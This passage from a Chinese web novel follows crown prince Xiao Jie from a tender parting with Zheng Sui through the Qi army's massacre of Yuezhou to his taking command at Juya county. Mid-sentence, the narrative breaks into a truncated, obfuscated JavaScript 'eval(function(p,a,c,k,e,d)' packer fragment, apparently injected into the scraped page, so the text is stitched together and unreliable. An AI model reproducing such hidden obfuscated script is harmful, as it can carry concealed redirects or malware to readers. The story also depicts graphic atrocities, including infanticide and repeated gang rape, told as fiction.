讲话间,已有烟火蹿上天空,砰然炸开五色花瓣。河上寂静,却有采菱晚归的舟船,女孩子们三三两两唱起歌来,低语软侬,婉转如情人耳语。其实船上离岸较远,灯火烟影都不甚真切,却在这荷香渔歌映衬下,愈发朦胧缱绻起来,倒很像在吴州待的那几年光景。 另一舱中的客人也出船观望,是一对年轻小夫妻。丈夫戴襆头,妻子形容清雅,依在丈夫身边,喁喁细语,看上去感情甚睦。 旭章瞧了会烟花,有些困倦,转头正见那双夫妇坐在船尾。妻子倚在丈夫怀里,两臂抱住他颈项,两人在藕花边嘴对嘴地吮着。 旭章不知其事,好奇地睁大眼睛,这时候一只手从背后遮过她眼睛,将她搂到怀里背过去。旭章不解,拉下萧玠的手,问:“他们在亲亲吗?” 萧玠只好道:“是。” 旭章又问:“他们为什么亲嘴呢?” 萧玠不好解释,郑绥已走近,将旭章抱起来,问:“说什么?” 旭章道:“我回家可以亲小表哥吗?” 这几日杨氏的亲眷来郑府走动,几个男孩女孩玩得很好。郑绥闻言蹙眉,道:“不可以。” 旭章抗议:“大人就可以,为什么太阳不可以?” 郑绥道:“你和表哥是好朋友,朋友之间不能这样。” 旭章正是小孩子脾气,让他往东非往西:“我就要亲他。” 郑绥语重心长:“那你们就做不了朋友了。这两件事,你自己选一样。” 他正在和女儿一本正经地交涉,萧玠已经起身,道:“你看着她,我进去给她拿件外褂。” 他站起来,郑绥便靠着船舷坐下,将旭章护在怀里,大脑袋挨着小脑袋,不知又咬什么耳朵。萧玠进了舱室,找出旭章那件鹅黄褂子,两条腿却支不起来,只倚着包袱坐在床边,发觉自己已经出了一身的汗。 郑绥应对女儿无理之言的无心之语,却切中了萧玠的心事。 情人未必不能做朋友,但最重要的朋友之间,担得起情变的风险吗? 他脑中一团乱麻,但他清楚,不能和郑绥待在那样的暧昧气氛里,不然肯定会发生什么不可收拾的事。他手都有些哆嗦,忙摸了碗冷茶吃尽,才将那件小褂搭在臂弯,重新出舱。 夜色渐深,岸边灯会已散,重归一派水乡静谧。旭章跟萧玠奔波多日,今日见了爹又兴奋,累得也快,不一会就窝在郑绥怀里睡着了。他将女儿抱回舱睡,萧玠便一个人倚在船边,瞧水中漪沦里自己的影子。和月亮映在一起,像嵌进一面璧玉。 他这样盯了一会,视线都有些漶然,突然肩头一动。萧玠回头,见郑绥将一件外袍披在他身上,道:“夜里凉。” 萧玠应一声,道谢。 没了女儿,郑绥似乎有些局促,隔一段距离从他身旁坐下,道:“奔波劳累,早些歇息吧。” 萧玠颔首:“好。” 他答应,却没有动。两人都默了,郑绥看水面,萧玠就低头瞧袖口。水流澌澌间,郑绥终于道:“臣罪丘山。” 萧玠整颗心狠狠一颤。 他这段时间来寝食难安,甚至在郑绥离京后追到河上,事到临头才发现,这是个绝对不能问出口的事情。 出了口,他和郑绥的关系就变了。 □□和情欲不一样,情欲和爱欲也不一样。如果郑绥真的对自己动欲怎么办,如果他只是动欲怎么办,如果……他什么都没有怎么办? 万一是自作多情,自己这样羞辱他,他还能和自己走得这么近吗? ……不,渐行渐远还是好的,怕就怕他依顺惯了自己,勉强着应承下来。往后真进一步,只怕他会恶心。 握他的手、和他说话,甚至只是看到自己,都会恶心。 可就算真的恶心,郑绥也会掩饰得很好。他宁委屈自己也不忍萧玠伤心。这么好的一个人。 他辞别了李寒、送走了夏秋声、失去了虞闻道,和阿耶也相隔千里,身边只剩下一个郑绥。 他不敢奢求更多。他想和郑绥天长地久。 就算做君做友。 郑绥嘴唇轻轻蠕动,萧玠一直以来想要的结果呼之欲出。这一刻,他却抢先说道:“不妨事的,绥郎,咱们都别记在心里了。” 河水寂静下来。 等微风拂过,河流徐徐吹动之时,郑绥终于道:“臣领会得。明早船就到春云驿,臣就要改换马道。臣会叫驿馆派人护送殿下回京。臣……感谢殿下千里相送。” 萧玠胸口一窒,本知不该挽留,还是忍不住叫他:“绥郎。” 郑绥看他,眼中已尽是为友的中正和事君的忠诚。 “明长,”他道,“你多珍重。” 萧玠应一声,将手中攥紧的那枚香囊重新塞回袖中,对他笑道:“你也是,一路顺风。” *** 送别郑绥后,旭章闷闷不乐,萧玠便带她去潮州找娘。丫头这才有了笑脸,要去船头看景。萧玠领她出去,见隔舱的两夫妻也在。 那妻子和舟娘子坐在船边,襻膊挽袖,大马金刀地杀鱼。她那丈夫半抬袖子遮脸,边不放心地连连嘱咐:“娇娇,娇娇你别切到手呀,娇娇好了没有?” 他脸别向一边,正见萧玠父女两个出来,有些尴尬:“贤兄早。” 萧玠冲他笑道:“贤娘子巾帼英豪,羞煞我等男儿。” 那娇娇娘子生得花容月貌,杀鱼却手起刀落,一面冲木桶里刮鳞,一面温温柔柔笑道:“郎君不晓得,我家夫君晕血,每每要帮手,总先鱼一步栽倒。妾叫他帮了三次,三次的功夫都花到掐他人中上。没他帮倒忙,妾三条鱼都杀好了。” 那丈夫很有愧意:“是我无用。娘子嫁我以来,大小家务操持,闺中哪受过这些委屈。” 萧玠笑道:“足下年纪虽轻,却已有功名傍身。将来做一地贤吏,再为娘子请个诰命,如何对不起贤娘子的夙兴夜寐?” 那丈夫连袖子都放下来,惊道:“郎君慧眼,如何识得?” “就从足下这身绫袍说起。”萧玠笑道,“奉皇十三年起,朝廷新令,赐及第者春绢一匹裁制新衣。我记得奉皇十五年到十八年,所取就是这种縠纹湖绸。足下衣浅绿色,应当是二甲三十至三十九名。足下入仕迄今约莫三到六年,仍穿浅青色,大致官袍服色与其相当。我朝八品衣浅青,足下或为八品官,又和我们同路,显然不是往京都去。足下赴任地方,又是八品文官,我冒昧请教,不知是哪地县丞?” 那丈夫嘴巴圆张,愣了片刻才匆匆忙忙忙抱袖:“在下东方彻,字明达,奉皇十六年进士,正要去樾州菊崖县赴任。我娘子姓颜,颜如玉的颜。不知贤兄如何称呼?” 萧玠揖手笑道:“在下阮明长。与足下同取明字,正是有缘。” 一番交谈,萧玠发觉这位年轻县令对地方农务十分熟悉,上到粮食买卖下到种田插秧无一不精。两人相谈甚欢,等到船只停泊,东方彻才发觉依然抵达樾州地界,仍有不舍之意,便邀萧玠一同上岸。 奉皇二十一年农历九月,萧玠第一次踏足樾州,有幸造访了这座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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东方彻端详一会,认真道:“姹紫衬娘子天姿国色,墨蓝衬娘子清雅脱俗。” 颜娘子脸颊微红,啐他:“我叫你挑。” 东方彻看一会,作难道:“我也挑不出。” 萧玠道:“不如两全其美,都买下来。” 东方彻笑道:“对,都买,都买。” 颜娘子等他片刻,扑哧笑了:“买买买,你付钱呀。” 东方彻这才回神,讷讷取荷包买花。萧玠也给旭章买了一朵,清新嫩绿的花盘,别在裙子襟口。 天色既晚,四人便去驿馆下榻,预备明日买马各自转道。这夜旭章要同颜娘子玩花绳,两个男人正好共置肴饮,秉烛夜谈。 见萧玠对梯田感兴趣,东方彻也十分慨然:“贤兄知道,修筑梯田极其复杂,要花费大量的人财物力。当时汤氏还是樾州豪强,陛下怕拨下的财款叫汤氏贪敛,便亲自率众开山,变成中枢直接督办的大工程。每一笔款项都走的陛下自己的簿子,由樾州刺史直接向天汇报,汤家就算想贪也不敢贪到天家头上。且开垦梯田极其繁琐,先要焚烧杂草乱林,然后才能垦耕拓田,还有平土、开沟、起垄、灌溉诸事,简直千头万绪。陛下专程派人去西塞接来谈大家,把动工图纸完全敲定才肯回銮。如今又开了以稻养鱼的田地,还从柳州购入了新型的龙骨水车,咱们樾州别说自给自足,也有米稻能对外买卖了!” 萧玠发现,说起樾州梯田,东方彻全然不是娘子面前腼腆晕血的丈夫,变成一个精神昂扬、光彩四射的年轻官员,满脸都是与有荣焉。他大吃一杯酒水,又感叹道:“巡狩到哪儿种到哪儿,咱们陛下果真重农。” 萧玠垂眼,脸映在素酒里,水光摇曳处,有些像萧恒的轮廓。他轻轻道:“早年饿怕了。” 东方彻放下酒杯,道:“依我瞧,这还不算陛下最高明之举。” 萧玠笑道:“愿闻其详。” 东方彻道:“从前并非没有重农的君主,但伴随而来,就是抑商。将商打为末流,实则限制农的发展。粮食固然是自足之物,但好好周转便有致富之用。陛下开粮道,通运河,不仅鼓励粮食买卖,还注重粮种农具开发和市面流通。这几年入仕还开了农科,能种好地就能领朝廷的俸禄,放在前朝简直闻所未闻!” “士农工商不过职务,一重则皆重,一轻则皆轻。”萧玠道,“归根到底,还是一个‘人’字。” 东方彻慨然道:“说得好,正是以人为本!这么简单明白的道理,从前竟少有人领会得。” 两人快意长谈,也没有各自安置,相对伏案睡了。萧玠睡觉浅,确凿地听见外面有零星噼啪的声响,和雨打棚屋的声音很像。 萧玠没有立即起身察看。 直到半夜,他被一阵耳鸣般的尖锐哨声惊醒,见窗外像蹿过一条赤练长蛇,嗖地抖落一道猩红火光。 萧玠骇了一跳,定睛再看,窗户仍是一片漆黑,案上灯火已烬,东方彻还趴在对面,浅浅打着鼾。 虽是素酒,但吃得有些多,仍有些头痛。萧玠揉了脑仁,发现耳边哨声非但未歇,反倒更清晰尖锐。 ……不是耳鸣。 是射箭声! 萧玠陡然清醒的同时,外面已响起吵嚷奔逃之声。他忙推醒东方彻,要去隔壁厢房唤颜娘子和旭章,刚出门,就被携衣趿鞋的住客们冲乱。 无数双腿脚争先恐后地跑下楼梯,萧玠听到妇孺哭喊声里,有人乱哄哄叫道:“是齐军,齐军来了!齐军打来了!! 117.第 117 章 奉皇二十一年九月十三日夜,齐国车骑将军公孙铄、飞骑将军公孙冶兄弟率兵攻破樾州,下令屠城,史称樾州九日。 这场战争里,萧玠不再是参与者和指挥者,而是遭遇者,和幸存者。 厮杀声在驿馆大门被突破时,像雍堵已久的洪水一样彻底爆发出来。萧玠听见所有人哭天抢地的哀叫,听到自己几乎凄厉地大喊旭章。他和东方彻像两个疯子一样,逆着逃生的人流跌跌撞撞跑向隔壁的厢房。 颜氏娘子怀抱旭章,刚出门就被奔逃的人群冲得摇摇欲坠。东方彻抓不住人,见一大一小险些被挤下楼去,忙大声叫道:“别站在楼梯口,先下楼!” 萧玠也叫她们先走,自己被推搡着跌撞下楼。 多少包袱在颠簸中散乱,多少珠宝滚下楼梯被踩成齑粉,多少人跌倒在地被人群踩踏,惨叫声被砰砰作响的奔跑声淹没,直至消弭无痕。 到了楼下,却全然不见颜氏和旭章的踪影。两个人乱成一团,萧玠还要回去再找,东方彻叫道:“她们下楼早,应该跟着出去了,先走!不走就晚了!” 冲出院门时,一束巨大的血红光芒自天贯地,刺出萧玠两眼热泪。他无暇抬头,但他知道,本该寥旷寂静的夜空,被一刃月光豁然捅出个血洞。远处的穹隆底部,炙烤出熟肉肌理一样诱人垂涎的橘红。本该升起缕缕炊烟之处,隆起直插天际粗如烟囱的浑浊烟柱。这是劫掠之后放火烧杀的象征性景观,也是热战爆发的地标性建筑。 战争开始了。 猝不及防地,樾州尚在睡梦之中,已经被这把弯刀刺穿胸膛。 萧玠不敢停留,用尽全力向城内奔跑。 跑,飞快地跑。 跑也跑不动,跑也跑不掉。 白日敞亮洁净的行道,如今挤满尸体残肢。残断的墙垛从卫护家庭的屏障变成阻挡奔命的妨碍,断裂面裸露出烧焦的草秸和碎砖。地面汩漫着黑红油亮的液体,分不清是践烂的果子还是烂果汁液一样的脑浆。 萧玠两只耳膜像即将被打破的鼓面,砰砰砰地震得生疼。他听到了一切灾难的源头,听到了樾州城门轰然倒塌的震天巨响,以及风暴般席卷而来的铁骑奔驰之声。 蹄铁践踏大地,地面立刻绽裂血口,如果践踏在人的肉身上呢? 他想到,任何一个人都想到了。比他们思绪更快,那支训练有素的夺命铁骑已经疾驰而来。人们慌不择路,爆发出进化为人之前禽兽的潜力,但假性禽兽如何敌得过真正的禽兽? 有人像公鸡上树一样,手脚舞动地攀砖爬墙,扑棱棱跃到屋顶上方。他们有鸡的姿态却没鸡的重量。屋顶在踩漏一个窟窿后轰然崩塌,上面的人像被弹丸打杀的死鸡一样纷纷坠落。地上的人迸发出疯狗般横冲直撞的力量,身后马队却是缉打疯狗的专业组织。他们比狗要疯癫,比人要野蛮。萧玠混在狗一样四散奔逃的队伍里,耳边是比狗要兴奋的嗥叫和杀狗振动的嗖嗖刀响。 扑哧一声,身侧奔跑的男人喉间鲜血喷射,已经变成一具保持奔跑姿态的尸体擦过萧玠手臂扑通倒下。这触碰把死亡的噩运传递给他。 萧玠面前,烽烟滚滚的天空下,跃过一匹披挂铁甲的高头战马。萧玠清晰闻到它碗口大的蹄铁下混合尿臊味的血锈气息,它像一只铜钹一块烙铁般冲萧玠劈头刮来—— 几乎是同时,萧玠感觉后背喀嚓一响,突然像挖了膝盖骨一样浑身疲软地向前扑去。然后他感觉到骨肉间的异物,似乎是把剑;继而感到痛,但因为种植长生蛊后时时千刀万剐的痛楚,这样的痛感竟算不得什么了。 他听到自己像被摔下的一只麻袋,砰一声砸在地上。 刚刚这么倒下的那个男人死了,自己也要死了。 萧玠倒在尸体堆里,倒在半截热乎的身体上。钉在他后背的那把宝剑拔出,带出的鲜血哗地在月下在他眼前打开,像一面广大折扇,在血雾弥漫的月光下,每滴血珠都晶莹皎洁。 一切声音离他越来越远,一切画面离他越来越远,一切疼痛和记忆离他越来越远。他曾经设想自己死前会想念哪个人,但这时候他只是想,到底发生了什么? 为什么会这样? 在萧玠的肉身濒死之际,他的意识宛如飞雀,轻盈地脱体而出,盘旋到云层底部那块迫近人世的低矮天空。他得以鸟瞰大梁版图的全貌。 黑夜中,他沉丽壮阔的河山宛如虬龙,尚在酣眠,西南部的龙腹却被破开裂口,血光闪烁。鬣狗一样的齐军闻血而来,争相啃噬她的肚肠和血肉。 天亮了,地上却没有,日光以一种凄迷的姿态笼罩樾州城。命运不幸的人死了,更不幸的活下来,改变物种,成为齐国驯养的家禽和牲畜。街边,骑兵队伍逡巡往来,马背上的齐国士兵手持宝剑,吹动口哨,头顶盔缨黑烟般袅袅飘荡。马头各自结系几条头发拧股的绳索,或乌黑或驳杂的绳结下悬挂几颗或年轻或年老的人头。 萧玠听到女人的低泣——那队战马中间,围簇十数赤身裸体的女人。老者两鬓苍白,最少者不过垂髫,比旭章大不了多少。 紧接着,几个齐军跳下马背,把马拴在树上,驱赶牲畜一样把女人们驱赶到树底。女人谩骂起来。响起掌掴踢打的声音。吃痛哭泣声。起哄□□声。惨叫呜咽声。越来越多的士兵围过来,越来越多的女人被赶过来。 天上那轮血月已沉,在苍白低矮的天边,露出太阳被扇出血瘀的半边脸。 等那群齐国兵提裤穿鞋,酣然餍足,作鸟兽散,继续用马鞭驱赶那几个摇摇欲坠的苟活的女人,枯树底,留一地横躺的女人的狼藉尸身。 萧玠听到哭声,谁在哭? 是被掼在地上踏成肉泥的婴儿在哭,还是目睹一切被掳上马背的母亲在哭? 是拖着半截身体和肠子、五指扣地的孩子在哭,还是父母牌位被撒尿祖宗祠堂被烧毁自己也被砍断四肢的青年在哭? 是苦难的樾州大地在哭吗?是天在哭? 萧玠不知道。 他感到有液体溅在自己脸上、嘴唇上,一滴,两滴,先是黏稠的,最后是一些油状物。他贴近云底的意识抬脸,脸上是依旧干燥的天空。但那液体仍在滴落,浸透嘴唇,发腥发酸——萧玠恢复部分触觉后又恢复了味觉。 他身体里有一把尖刀,把包裹他的死亡的厚墙劈开一条裂缝——萧玠的眼睛终于睁开了。 他先看到烧焦的天空,远古一样,浑浊得不辨颜色。天底下,半个破瓜一样的男人脑袋压在他脖子上,脑花脑浆红红白白,腐烂的瓜瓤一样倾泻而出。 很长一段时间后,萧玠听到肝脑涂地这个成语,都要呕吐。 街道终于安静下来。 地面上,残火未熄,未烧尽的房屋爆栗般毕剥作响,偶尔有一两道鸟鸣,游魂般在天际飘荡。萧玠无数次在史籍中读到尸横遍野的景象,今日竟险些成为这些死尸中的一具。路上已经无处落脚,尽是相与枕藉的男女老少的尸身,早早死去的骨肉开始腐烂,散发阵阵恶臭,把最后一缕残存的菊花清香挤占得一丝不剩。 昨日那清新明丽的城市,那和乐太平的民生,竟像上辈子的事了。 萧玠不受控制地想,当日被他一声号令血洗的柳州是不是也是这样?他今日之劫难,是否真的是报应不爽? 如果真的轮回有报,为什么报在这座无辜的城市、他无辜的百姓身上? 他无处站立,不敢站立。街上仍有清洗活口的齐兵,间或听到惨叫,接着归于平静。他匍匐尸山,手脚并用地爬行于密密麻麻如同鱼鳞的残肢断体间,一有风吹草动,当即趴伏装死。装死不是真死,他仍看见听到一切—— 婴儿被挑在刀尖,刀口一撩时像一团跃动的皮鞠划过天空,被马掌踏成烂泥。马队践踏尸体如踏丘陵,新一轮扫荡拉开帷幕。 萧玠不得不寻找屋舍躲避,那些沤粪的猪圈、坍塌的牛棚、砖头搭建的狗洞里,蜷居满形同牲畜的新住民。他们人的眼睛里闪动野狗一样疯狂的绿光,比抵御侵略更坚决地抵御萧玠挤占他们的偷生空间。萧玠无法,只能躲进临近大街的堂屋里。 屋中家具翻倒,尘埃阵阵,破败陈旧如同古迹,但从梁椽红金闪烁的涂料来看,这里的旧主人非富即贵。但今时今日,富贵更成为索命之钩。 萧玠还未站定,已听到院中响起叫嚷破门声。他从里屋发现一张矮榻,榻底是厚重的木墩结构,当即钻到榻底。 几乎是刚蜷到木墩后,门外就响起哀求声,有男人喊道:“钱都在包袱里,官人们好官人,我求你们大发——” “慈悲”两个字尚未出口,已经被数道刀剑劈砍声和凄厉惨叫取代。紧接着,萧玠听到齐军的狞笑和女人的抽泣,他明白要发生什么事。 女人哭叫着被撕裂衣裙,被压覆在地的瞬间萧玠透过床单缝隙看到她隆起的腹部,这是个怀孕的女人——作孽,天作孽呀! 她强烈挣扎的态度惹恼了齐军,他们揪捽住她的发髻,像揉打面团一样挥拳殴打在她脸上。她的嘶喊声低了,变成屈辱的、疼痛的呜呜咽咽。那一指宽的床与砖、天与地的缝隙间,萧玠看到毛发旺盛的黑黄的大腿压上她花白的大腿。一会那双穿军靴的脚站起来,另一双军靴跨到她腿侧甩掉腰带。 如此十数人,已经听不到那女人的声音,只余男人们牲畜般呼噜呼噜的粗喘和吼叫。那女人变成一块冷掉的死肉,灰白的身体似乎不动,又似乎剧烈颤抖。 萧玠整个身子抽搐起来,怕漏出哭声死死咬住自己手掌,咸腥液体灌满口鼻,不知是冷血还是热泪。如果不是这群士兵急于泄卝欲,萧玠 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留给萧玠痛苦的时间不多,因为他听到街道传来一阵近一阵的雷震般的马蹄声。 不能这么待着,这里绝非蔽身之所。他得给所有人找个能安身的所在——现在为什么无处安身,城门为什么会破? 天没有崩、地没有裂、边关安定没有烽火,甚至樾州城内没有收到战争爆发时飞马鸣锣呼告的警示——州府干什么去了,折冲府干什么去了,樾州上下百数官吏干什么去了?! 萧玠知道,至今没有任何有组织的反抗战打响,樾州州署大抵已经陷落了,但他仍得去看一看。 就像他知道自己大抵会死在这里,还是得挣扎着活。 九月十五日,灰褐色的太阳血斑一样污渍着白麻布似的天空。萧玠终于抵达公廨,听到一声巨响。 官府匾额被殳矛打落,在地上碎成两块,取而代之的,是一面高悬天际黄底黑字的公孙旗帜。公孙冶的卫队秃鹫一样围守衙门,进进出出地搬运财物和箱奁。樾州官眷们被驱逐出来,由一条绳索从前到后捆缚手脚,牵羊一样赶去蓄养军妓的营帐。一辆接一辆木板车和他们反向而来,把齐军军官们的恭桶卸到府衙,把昔日大梁长吏的办公之所变成茅房。 一阵令人作呕的恶臭里,萧玠听到一声竭尽全力的哀嚎,他追随声音,看到一个女人披发跣足瘫在门前,在齐军鞭打中仰头冲一件垂悬的血衣惨叫。鲜血把绫罗浸染成深色,但依稀能分辨出刺绣的花纹,一只污浊不堪的仙鹤—— 这是四品地方官所穿的官袍。 意识到这一点时,萧玠发现在半空翩翩振动的官服底,打摆子似的吊着一双靴子。 吊的不是一件衣服,是一个人! 那件官服滴溜溜旋转着,等终于把门襟冲向萧玠时,他差点和那个女人一样发出哀叫。 衣领上方,冒出一颗俊秀方正的骷髅。头骨仍有血肉残存,招致一群红头苍蝇群欢开宴,眼窝处已经结满卵块,蛆虫泪沟一样在他颧骨上方蠕动爬行。 经历战争的女人推测不出年纪,但大抵是他的妻子,或者妹妹,或者女儿。她疯狂痛苦的惨叫激发了齐军的兽性,他们预备在樾州刺史这具新生的骨架前凌辱她。 萧玠听见她大叫一声,几乎不是人的声音,而是兽的哀嚎。 她撕心裂肺地叫道:“天哪,天哪,你开开眼吧!” 然后一头撞在明镜高悬的断匾上。 萧玠死人一样瘫在地上。 朝廷官署被占领,朝廷大吏被虐杀。 樾州彻底沦陷了。 十六日,公孙冶放火烧田,遍野烈火,黑烟冲天。 十七日,天降大雨。雨沤尸水,血溢满地,恶臭十里。 十八日、十九日,大雨未停,大火未止,无日无月,积尸如山。 二十日夜,部分幸存者在被齐军清洗前,被另一小支队伍找到,为首者自称是菊崖县县尉,护送众人夤夜入山。 萧玠连日水米未进,终于栽倒在撤退的队伍里。再有意识,已感觉嘴间灌入温热的液体,经喉管润及肺腑。 萧玠睁眼,发现正和数十难民一起围挤在一间堂屋里。一个公人服色的青年放下水碗,长出口气:“这个活了,给他分碗稀粥吃。” 萧玠匀了好几次气,才发得出声:“菊崖县没有受难?” 公人也慨然道:“咱们沾了大菊山的光,山路难行,齐戎子还没找着道。藏一天是一天。” 萧玠忙问:“谁组织大伙去救人?县令呢,你们县令在哪里?” 公人道:“县令和几个长吏商量大事呢,没工夫和你闲扯!” “我要见你们县令。”萧玠捉住他手臂,“要想守城,叫他见我。” 118.第 118 章 菊崖县衙门外,大雨轰鸣。 天气本已转凉,这场雨一下,又反常地溽热起来。难民围聚后,空气被他们身上的腐尸之气污染,死亡的乌云也随其飘向这座藏于深山的县城。 堂中,一县官吏聚集如云。县令尤尚恩已汗透衣领,问匆匆赶来的主簿:“米都分完了?” 主簿气喘吁吁:“都分完了,最后掺了谷子都不够吃的。如今齐军是没摸清道,再过几日怕要进山。明府,得有个计较啊!” 尤尚恩半晌不语,问一旁县尉:“岩云,你从城里来,城中情形如何?” 县尉黄岩云是个三十上下的高大汉子,脸上抽搐两下,声音已然颤抖:“太惨了,明府,太惨了。闻使君堂堂刺史四品大吏,叫那群畜生活活扒皮割肉喂了狗……骨头架子就挂在公廨门口,说要警示百姓……妈的,人都杀完了,满街都是尸首都没有一块落脚的地方,警示什么百姓!畜生,这群丧尽天良的畜生!” 一时之间,哽咽声起。怕引起人心惶惶,官员们只敢掩嘴啜泣。 长久无言后,主簿闷声问:“明府,菊崖……咱们还守吗?” 尤尚恩面有踌躇,未答。 主簿急声道:“明府,走吧!樾州城城防精密又如何?齐军闯城如入自家门室,杀人跟砍西瓜一样!咱们固守于此,是白白引颈受戮!” 黄岩云问:“百姓怎么办?” 尤尚恩道:“当然一块带走。” 主簿眉头未展:“齐军兵强马壮,又是骑兵,以百姓的脚程……” 黄岩云大喝一声:“老朱,你什么意思!百姓走不快,所以放他们去死?” 主簿急道:“我有此意,天打雷劈!” 尤尚恩喝道:“生死关头,还屋内吵嚷!” 两人悻悻住嘴。 主簿缓一口气,道:“黄县尉,你常年管理菊崖卫队,你比我更清楚,齐军真要追击,百姓就算星夜兼程又能逃往哪去?朝死和暮死的区别而已。” 黄岩云道:“我带衙役阻击。” 主簿脸色惨白:“齐军虎狼之师,以陛下盛年之势率大梁精锐之力,都三番两次险些折送在他们手里,咱们一县不过三千余人,衙门能用的公人也不过五百余口,给齐兵开刃都不够!再退一步,他们就不是性命,没有妻儿吗?” 黄岩云嘴唇颤抖:“你说怎么办?” 主簿道:“还是张贴布告,叫大伙能逃就逃。但……咱们分不出人手护卫了,明府,咱们能做的,都做了。事不宜迟,再犹豫不决,齐军真要到了!” 尤尚恩浑身轻战,连胡须都在微微颤抖,半晌,咬牙道:“岩云,你带人鸣锣警示,让大伙赶紧收拾细软,今日黄昏之前务必出城!” 黄岩云欲言又止,到底领命出门,迎面撞见一个面黄肌瘦的年轻人。年轻人问:“县令是否在内?” 看他形状,当是樾州抢救回的幸存者。黄岩云问:“你找县令干什么?” 年轻人从怀中取出一封染血文书,捧到他面前,“在下东方彻,新任菊崖县县丞。这是我的官凭。一县存亡之际,还望通禀,下官要求见县令!” *** 赶去公廨的路上,萧玠头脑渐渐冷静下来。 他百思不得其解,樾州城门为什么会毫无征兆地一夕攻破,刺史尚在睡梦之中,蓄养兵将的折冲府竟毫无还手之力。 齐军,惨败,从天而降。 这让他一下子想到他从记载中读到的那场西塞之变,在自己出生之前,西夔营连战连败,以赵荔城悍将之力,几乎将庸峡雁线拱手相让。 如出一辙。 萧玠浑身一悚,后心一片湿冷。 当年的齐军,是被人开城门放进来的。 如雷击顶。 樾州有内奸。 意识到这个,萧玠整个人僵立原地,浑身动弹不得。 内奸一定活着……能开城门,此人一定在官府之中。 他抬头,菊崖县衙门牌楼近在眼前,在晦暗天色下,木面上的红漆像风干的人血。萧玠握紧袖中玉符,像握住一块护身符也像一块夺命符。 菊崖县的官员可以信任吗? 如果公布自己的身份,在聚集菊崖人力的同时也会招致齐军更疯狂的屠戮。三千人的山城,能与齐人的铁骑相抗吗? 要赌吗? 萧玠胸口一紧一紧地疼,再迈不出一步。领他前来的公人看向这个奇怪的年轻人,汗水居然在瞬间打湿了他的后襟。就在他弯腰扶膝大口喘气之际,公廨内突然传来一道略微局促的声音:“下官以为,不能退。” 如此关头,竟有人主张守城。 萧玠的目光不自觉被吸引过去,看清那张脸时瞳孔瞬间一缩。 是东方彻,东方彻还活着! 那他的妻子颜氏呢?她有没有活着,她有没有见到旭章,旭章有没有活着?! 这念头冒出的瞬间,被萧玠强行弹压下去。现在不是儿女私情之际,谁没有骨肉子女?如今只念自家私爱,还配不配做这个储君? 他抬手拧了把脸,搬动双腿迈上台阶之际,听见东方彻闷闷的声音:“下官认为……下官有异议。” 做主簿衣装的中年男人鼻中嗤气:“你有异议?有异议你能克敌取胜吗?存地失人人地皆失之事,你不清楚吗?” 东方彻急声道:“下官不是做一地之争!菊崖县往北就是樾安平原,方圆百里再无一座高山大岭,菊山是阻挡齐军北进的最后一道屏障!如果这么丢了,哪怕朝廷援兵来到,齐军已经把大梁西南撕烂了,到时候山南道五州数十县,都会成为今日流血之樾州!当年陛下宁肯驱人相食也要死守潮州,不也有这个原因吗?” 说到潮州当年惨况,所有人都浑身一凛。东方彻缓口气继续道:“况且我等还未至陛下当年若想存人必先存地的绝境——齐军虽也是屠城之师,但菊崖县没被围死,百姓还能撤离,可我等朝廷官吏,必须撼守此地!不然……如此祸国殃民、遗臭万年的大罪,诸公,你们担不起!” 尤尚恩喃喃道:“我如何不知!但如今情形,如何能守下来?” “能守一日,就能为百姓多争一日逃生之机!”东方彻因过分激动,身体摇摇欲坠,“明府,齐军若要一屠到底,我们逃又能逃到哪里去?已经过了七日,朝廷的援兵快要到了,肯定快要到了!只要挨到大军赶到,樾州就有收复的希望!如今樾州只剩菊崖最后一个县城,樾州能否守住,齐军借西南北上的阴谋能不能粉碎,举县举州甚至举国之希望全在我们身上!咱们食朝廷俸禄受百姓供养,不就是为了这一日吗?” 众员闻言,俱是汗颜。主簿迟疑道:“倘若……援兵迟迟不到,怎么办?” 他心中戚戚,“如今齐军锋芒正盛,与之交手定然是一场血战。怕就怕各地统帅各自推诿,不肯发兵救援。” 突然,死一样压抑的气氛被人打断:“援兵一定会到。” 尤尚恩抬头看去,见是一个形容狼狈的年轻人,浑身血灰,只勉强擦干净手脸。看到他的一瞬,东方彻既惊且喜,还未介绍,已见他从袖中取出一件鱼形玉佩,“此物还请明府过目。” 尤尚恩接在手中,一颗心咚咚狂跳,“这是……” 鱼符之制,太子以玉,亲王以金,庶官以银。 这是东宫玉符。 年轻人声音虚弱,却格外坚定:“陛下不是肃帝怀帝,樾州也绝不会成为昔日之并州潮州。本宫在此,誓与樾州共存亡。敢有轻言弃城者,立斩不赦!” 东方彻怔愣之间,众人已哗啦啦跪了一地。压抑许久的菊崖官吏终于在这一刻哭号出声,面对的似乎是一座父亲般的靠山,而不是一个年纪能做他们儿子的年轻人。 东方彻完全没想到太子会在这里,不敢想太子倘若不在会是一个怎样的局面,更不敢想太子若死在樾州之乱会带给朝廷怎样的劫难。震动、后怕、狂喜、惊惧、忧怖……种种情绪混合翻卷,东方彻一下子被抽掉骨头般瘫软在地,剩余的力气,只够他额头抵地,和众人一起大叫道:“臣等誓死追随太子殿下!!” *** 齐国车骑将军公孙铄推开樾州公廨的窗户,看向传说中本该鲜蓝如水的大梁西南的天空。战火炙烤下,天空干成一块老墙皮,灰烬随风翻卷,像墙皮的粉屑从头顶掉下来。窗前保存一只未碎瓷瓶,里面插几枝形同鬼爪的干菊,公孙铄想梁国不愧是水土丰盈之所,连枯死多日的花骸还保留着如此沁人心脾的尸香。 由于公孙兄弟征用此地,昔日樾州刺史闻慎行的骨架从门口改挂到城头。公廨内被清洁一新,地砖上控诉暴行的顽固血痕斗不过齐人的智慧,他们把官眷身上的绫罗扒下来作为地衣。一切丑恶野蛮会被掩盖,就像如果齐国取得最终战胜,如今的侵略战争会改写成不得已的卫国战争。 闻慎行的骨头在城头吊了七天七夜,最终因腐臭生蛆被丢去喂狗。这件事被交给樾州司马寇丹心去办,他因贪贿把柄被齐国细作拿捏要挟,摇身一变成为开门揖盗的卖国贼。 他双手触碰到闻慎行头骨时胃部挛缩,他感觉那不是一块人骨,简直是一块生铁。寇丹心不明白,怎么有人会有这么硬的骨头,连儿女被杀害在眼前、连一天一夜的剥皮零割都无法让他屈从。闻慎行的痛骂声犹在耳边,不得好死的诅咒让寇丹心尤为惊恐。他已经踏进地狱,想全身而退必须造就新的杀孽。如果齐国能胜他还有一线生机,如果大梁胜了——大梁不能胜——如果大梁胜了有人指认他——大梁不能胜——不留活口,不能! 